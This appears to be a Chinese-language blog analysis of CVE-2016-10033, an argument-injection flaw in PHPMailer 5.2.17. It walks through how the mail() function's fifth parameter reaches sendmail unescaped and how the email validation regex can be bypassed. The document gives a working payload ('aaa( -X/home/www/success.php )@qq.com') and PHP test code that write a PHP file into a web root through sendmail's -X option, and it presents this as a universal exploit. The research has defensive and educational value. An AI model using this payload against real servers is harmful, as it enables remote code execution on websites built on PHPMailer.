PHPMailer是一個基於PHP語言的郵件發送組件，被廣泛運用於諸如WordPress, Drupal, 1CRM, SugarCRM, Yii, Joomla!等用戶量巨大的應用與框架中。
CVE-2016-10033是PHPMailer中存在的高危安全漏洞，攻擊者只需巧妙地構造出一個惡意郵箱地址，即可寫入任意文件，造成遠程命令執行的危害。
對比一下新老版本： https://github.com/PHPMailer/PHPMailer/compare/v5.2.17...master
其實答案呼之欲出了——和Roundcube的RCE類似，mail函數的第五個參數，傳命令參數的地方沒有進行轉義。
回顧一下當時Roundcube的漏洞：因爲mail函數最終是調用的系統的sendmail進行郵件發送，而sendmail支持-X參數，通過這個參數可以將日誌寫入指定文件。可以寫文件，當然就可以寫shell，造成RCE了。
詳細分析一下，下載一份源碼，並切換到5.2.17版本：
git clone https://github.com/PHPMailer/PHPMailer cd PHPMailer git checkout -b CVE-2016-10033 v5.2.17
單步調試可以發現確實和之前Roundcube出現的漏洞（ http://wiki.ioin.in/search?word=roundcube ）一樣，是傳給mail函數的第五個參數沒有正確過濾：
但上圖是錯的，因爲這裏是不支持bash的一些語法的，也就是說反引號、${IFS}都是無效的。但實際上PHPMailer在調用mailPassthru前會對email進行一定的檢測，這導致我們無法構造出像Roundcube那些可以直接寫文件的payload，檢測部分的代碼如下：
/**
* Check that a string looks like an email address.
* @param string $address The email address to check
* @param string|callable $patternselect A selector for the validation pattern to use :
* * `auto` Pick best pattern automatically;
* * `pcre8` Use the squiloople.com pattern, requires PCRE > 8.0, PHP >= 5.3.2, 5.2.14;
* * `pcre` Use old PCRE implementation;
* * `php` Use PHP built-in FILTER_VALIDATE_EMAIL;
* * `html5` Use the pattern given by the HTML5 spec for 'email' type form input elements.
* * `noregex` Don't use a regex: super fast, really dumb.
* Alternatively you may pass in a callable to inject your own validator, for example:
* PHPMailer::validateAddress('[email protected]', function($address) {
* return (strpos($address, '@') !== false);
* });
* You can also set the PHPMailer::$validator static to a callable, allowing built-in methods to use your validator.
* @return boolean
* @static
* @access public

其他的地方我就不分析了，只分析上面這個函數，這個函數有這個特點
默認patternselect==‘auto’，它會自動選擇一個方式對email進行檢測
如果php支持正則PCRE（也就是包含preg_replace函數），就用正則的方式來檢查，就是那一大串很難讀懂的正則
如果php不支持PCRE，且PHP版本大於PHP5.2.0，就是用PHP自帶的filter來檢查email
如果php不支持PCRE，且PHP版本低於PHP5.2.0，就直接檢查email中是否包含@
所以，根據現在的分析（注意，不是最終分析），如果想繞過這個email的檢查，目標PHP環境必須有以下兩個條件：
PHP版本小於5.2.0
PHP不支持正則表達式，即沒有安裝PCRE擴展（默認是安裝的）
那麼如果目標PHP環境不滿足上述條件，是不是就絕對不會出現漏洞了呢？當然答案也是否定的，我提兩種可能的情況。
一、開發者手工指定Email檢查方法
PHPMailer是支持讓開發者手工指定Email的檢測方法的：
如果開發者編寫了上述畫框的代碼，那麼這裏就是存在漏洞的，因爲其只檢查Email中是否包含@。
二、開發者指定PHPMailer::$validator = 'noregex'
我們看到validateAddress函數：
public static function validateAddress($address, $patternselect = null)
{
if (is_null($patternselect)) {
$patternselect = self::$validator;
}
$patternselect默認是根據self::$validator來確定的，如果開發者指定了PHPMailer::$validator = 'noregex'，也就可以繞過validateAddress函數了。
分析一下Email正則
那麼，這真的是一個雞肋漏洞麼？年輕人，多思考一下。
如果想把漏洞變成一個可用的好漏洞，需要去繞過Email的正則，我們來分析一下：
preg_match(
'/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
'((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
'(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
'([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
'(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
'(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
'|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
'|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
'|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
$address
);
中間的分析過程我後面慢慢寫，多研究一下你會發現，在@前面，如果加上括號，將可以引入空格，我的payload如下：
aaa( -X/home/www/success.php )@qq.com
測試代碼：
<?php
require 'PHPMailer/PHPMailerAutoload.php';
function send($from) {
$mail = new PHPMailer;
$mail->setFrom($from);
$mail->addAddress('[email protected]', 'Joe User'); // Add a recipient
$mail->isHTML(true); // Set email format to HTML
$mail->Subject = '<?php phpinfo(); ?>';
$mail->Body = 'This is the HTML message body <b>in bold!</b>';
$mail->AltBody = 'This is the body in plain text for non-HTML mail clients';
if(!$mail->send()) {
echo 'Message could not be sent.';
echo 'Mailer Error: ' . $mail->ErrorInfo;
} else {
echo 'Message has been sent' . "\n";
}
unset($mail);
}
$address = "aaa( -X/home/www/test.php )@qq.com";
send($address);
執行：
成功寫入success.php。
利用這個payload，是無需PHP滿足什麼條件的，通用寫文件Payload。
